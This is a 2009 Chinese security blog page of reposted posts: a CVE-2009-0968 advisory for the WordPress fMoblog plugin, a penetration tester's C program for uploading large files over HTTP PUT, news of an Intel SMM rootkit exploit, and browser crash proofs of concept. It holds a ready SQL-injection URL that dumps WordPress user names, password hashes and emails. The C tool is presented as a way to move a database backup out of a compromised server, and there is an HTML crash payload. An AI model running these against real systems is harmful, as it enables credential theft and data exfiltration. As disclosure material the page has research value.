r3turN's BLOG
百度空间 | 百度首页 
 
文章列表
 
2009-03-24 上午 11:47
发布时间:2009-03-17 .
影响版本:
Fahlstad fMoblog 2.1
漏洞描述:

BUGTRAQ ID: 34147
CVE(CAN) ID: CVE-2009-0968

fMoblog是Wordpress所使用的移动博客插件,允许用户从手机张贴图形和描述等信息。

如果将page_id设置为已有的值的话,则fmoblog.php模块没有正确地验证index.php中对id参数所传送的输入便在SQL查询中使用,这允许远程攻击者通过提交恶意请求执行SQL注入攻击,完全入侵后端数据库系统。


<*参考

    strange kevin (strange.kevin@gmail.com)
    http://secunia.com/advisories/34341/.

*>
安全建议:
厂商补丁:

Fredrik Fahlstad
----------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.fahlstad.se/wp-plugins/fmoblog/.
测试方法:

http://www.site.com/?page_id=[valid_id]&id=-999+union+all+select+1,2,3,4,group_concat(user_login,0x3a,user_pass,0x3a,user_email),6+from+wp_users--
 
2009-03-19 上午 11:39
文章作者:pt007[at]vip.sina.com
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)

注:文章首发I.S.T.O信息安全团队,后由原创作者友情提交到邪恶八进制信息安全团队技术讨论组。I.S.T.O版权所有,转载需注明作者。
最近做一个渗透,目标机为一台数据库服务器,对外没有开放,只能反连出来,上面有个100多M的数据库备份,用后门下载的时候总是掉线,听mickey说用PUT方式可以上传大文件,于是从网上找找了代码,写了个命令行下上传大文件的C程序.
代码:
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <wininet.h>
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "wininet.lib")

void Usage (char *name);//帮助信息

BOOL UseHttpSendReqEx(HINTERNET hConnect, TCHAR *upFile, TCHAR *localFile)
{
    INTERNET_BUFFERS BufferIn = {0};
    DWORD dwBytesRead;
    DWORD dwBytesWritten;
    BYTE pBuffer[302480]; // Read from file in 300M chunks,最大支持300M文件

    BOOL bRead, bRet;

    BufferIn.dwStructSize = sizeof( INTERNET_BUFFERS );
    //使用put方式上传文件:
    HINTERNET hRequest = HttpOpenRequest (hConnect, "PUT",
      localFile, NULL, NULL, NULL, INTERNET_FLAG_NO_CACHE_WRITE, 0);
    if (!hRequest)
    {
   printf("Failed to open request handle: %lu\n", GetLastError ());
   return FALSE;
    }
   
    //打开指定的文件:
    HANDLE hFile = CreateFile (upFile, GENERIC_READ, FILE_SHARE_READ,
      NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE)
    {
   printf("\nFailed to open local file %s.", upFile);
   return FALSE;
    }

    BufferIn.dwBufferTotal = GetFileSize (hFile, NULL);
    printf ("File size is %d\n", BufferIn.dwBufferTotal );

    if(!HttpSendRequestEx( hRequest, &BufferIn, NULL, HSR_INITIATE, 0))
    {
   printf( "Error on HttpSendRequestEx %lu\n",GetLastError() );
   return FALSE;
    }

    DWORD sum = 0;
    do
    {
   if   (!(bRead = ReadFile (hFile, pBuffer, sizeof(pBuffer),&dwBytesRead, NULL)))
   {
      printf ("\nReadFile failed on buffer %lu.",GetLastError());
      break;
   }
   if (!(bRet=InternetWriteFile( hRequest, pBuffer, dwBytesRead,&dwBytesWritten)))
   {
      printf ("\nInternetWriteFile failed %lu", GetLastError());
      break;
   }
   sum += dwBytesWritten;
    }
    while (dwBytesRead == sizeof(pBuffer)) ;

    CloseHandle (hFile);
    printf ("Actual written bytes: %d\nupload %s successed!\n", sum,localFile);
   
    //结束一个HTTP请求:
    if(!HttpEndRequest(hRequest, NULL, 0, 0))
    {
   printf( "Error on HttpEndRequest %lu \n", GetLastError());
   return FALSE;
    }
    return TRUE;
}


int main(int argc, char **argv)

{
//put 127.0.0.1 /1.db c:\\wmpub\\1.exe
if(argc!=4)
{
Usage(argv[0]);
   return 0;
}  

   //char *ServerName="127.0.0.1"; //这里填写URL地址
   char *ServerName=argv[1];
  
   HINTERNET hSession = InternetOpen("HttpSendRequest",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0); //同步方式
   if(!hSession){
   printf("Failed to open InternetOpen\n");
   exit(0);
   }
   //连接到一个http服务:
   HINTERNET hConnect = InternetConnect(hSession,
ServerName,
INTERNET_DEFAULT_HTTP_PORT, //连接到80端口,可以修改成任意端口,比如53
NULL,
NULL,
INTERNET_SERVICE_HTTP, //服务类型HTTP,FTP或Gopher
0,
1);

   if(!hConnect)
   {
   printf("error InternetConnect\n");
   return 0;
}
  
   //TCHAR *putfile="c:\\wmpub\\1.exe"; //上传的程序
TCHAR *putfile=argv[3];
   TCHAR *putlocalfile=argv[2];
   BOOL sigh;
   sigh=UseHttpSendReqEx(hConnect,putfile,putlocalfile);
   if(!sigh)
   {
   printf("error UseHttpSendReqEx\n");
   return 0;
   }


return 0;
}


//输出帮助的典型方法:
void Usage (char *name)
{
fprintf(stderr,"===============================================================================\n"
"\t名称:利用PUT上传300M的大文件\n"
"\t环境:Win2003+Visual C++ 6.0\n"
"\t作者:pt007@vip.sina.com\n"
"\tQQ:   7491805\n"
"\t声明:本软件由pt007原创,转载请注明出处,谢谢!\n"
"\t使用说明:1.db为上传后保存后的文件,c:\\wmpub\\1.exe为本地要上传的大文件,\n\t需要IIS里面设置允许写入!\n"
"\t例子:%s 192.168.1.101 /1.db c:\\wmpub\\1.exe\n"
"===============================================================================\n",name);
}
 
2009-03-18 下午 06:10

Intel CPU 缓存被暴漏洞,研究报告与 RootKit利用代码即将出炉。
“3月19日,我们将就Intel CPU 的缓存机制漏洞,公布一份报告及漏洞利用。相关攻击可以在目前大部分IntelCPU的主板上从Ring0提权至SMM。Rafal在几个小时内就做出了一份漏洞利用代码。” Joanna女强人在博客中写道。

本 次漏洞利用的致命之处,在于它能将自身隐藏在SMM空间中,SMM权限高于VMM,设计上不受任何操作系统控制、关闭或禁用。实际应用中唯一能确认SMM 空间中运行代码的方法只有物理性的分离计算机固件。由于SMI优先于任何系统调用,任何操作系统都无法控制或读取SMM,使得SMM RootKit有超强的隐匿性。

其厉害程度与之前的BluePill相似,但比VMM攻击涉及到系统的更深层面。而 SMM自386时代就出现在Intel CPU中。

Joanna 和 Loic 这次将发布从未公布过的Intel缓冲HACK。

它不但可以控制SMM空间还能运行其新型RootKit,控制计算机。新的 RootKit 甚至有能力连接服务器更新代码,储存数据。运行于操作系统中的任何软件都将无法检测此类利用。

据 Joanna 说,Intel员工,对Intel的此类 CPU 缓存及SMM漏洞利用的署名讨论可以追溯到2005年。她与Loic于去年10月已经向Intel正式提交过报告。Intel将问题通知了CERT并将其 归为漏洞VU#127284号。现在Intel已经知道漏洞的存在好多年了,却没有做出应有的修正。无奈,安全专家们别无选择,只能公布他们的发现。如果 此漏洞利用真的已经存在数年,那么一定早已有人开始利用它。正如Joanna所说”漏洞就在那里,如果足够长的时间内没人理会,几乎可以肯定,怀着各种意 图的人们将会发现它并将之利用,只是迟早的事。所以请不要责怪研究人员,他们发现并公布问题 - 他们实际上是为了帮助我们的社会。”

报告将于19号在此发布:
之前的 SMM 利用原理:
来源(NetworkWorld)

http://www.networkworld.com/community/node/39825

 
2009-03-17 上午 11:03
发布时间:2009-03-17 .
测试方法:
Google Chrome 1.0.154.48 Single Thread Alert Out of Bound Memory Access Vulnerability

http://milw0rm.com/sploits/2009-galrt.zip

http://sebug.net/local/poc/2009-galrt.zip
 
2009-03-17 上午 11:02
发布时间:2009-03-16
测试方法:
<BODY onload="document.designMode='on';//string

alert('Design mode is on!');
document.removeChild(document.firstChild);//object;
document.queryCommandState('BackColor');
alert('Close the Window to see the crash!');

">
 
     
 
 
友情链接
 
 
 
 
     


©2009 Baidu